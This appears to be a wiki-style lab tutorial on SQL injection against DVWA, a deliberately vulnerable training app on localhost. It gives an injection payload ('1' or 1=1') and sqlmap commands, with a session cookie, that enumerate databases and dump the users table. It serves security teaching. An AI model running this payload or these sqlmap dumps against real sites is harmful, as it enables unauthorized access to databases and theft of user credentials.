View source for SQli with Damn Vulnerable Web App (DVWA)

=== Damn Vulnerable Web App (DVWA) ===
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

To Install the DvWA project follow the following page:

Installation: 

=== Burp suite ===
Burp Suite is a tool for performing penetration testing of web applications. With the Burp Suite, administrators can intercept and manipulate HTTP / HTTPS traffic to web applications before it is sent to the server. This enables security gaps in web applications to be discovered quickly and effectively.

To start intercepting web traffic, you have to set the proxy of the browser to 127.0.0.1:8080. The proxy listener is by default configured on 127.0.0.1:8080 in burp suite.

In the DVWA project move to "SQL Injection" and type in the following input as User ID:

 1' or 1=1

This will deliver all users stored in the database as the condition is always true.

Afterwards when switching to burp suite tab "Proxy" -> History you will see that the request has been captured. Within the request the "PHPSESSID" will be included as part of the cookie.

With this sessionid it is possible to connect to database and get further information with the help of a third tool called "sqlmap". To get the databases within DBMS system use the following command:

 sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=<e.g. medium>; PHPSESSID=<SessionID>" --dbs

To retrieve the tables of a specific database for example dvwa database. Replace the "--dbs" option with the "--tables" and "-D" option and define the database.

 sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --tables -D dvwa

Furthermore, it is possible to see the database schema from database "dvwa" as well by executing the following command:

 sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --columns -D dvwa -T users

At the end to get to the sensitive data the attacker will execute the command:
 
 sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --dump -D dvwa -T users
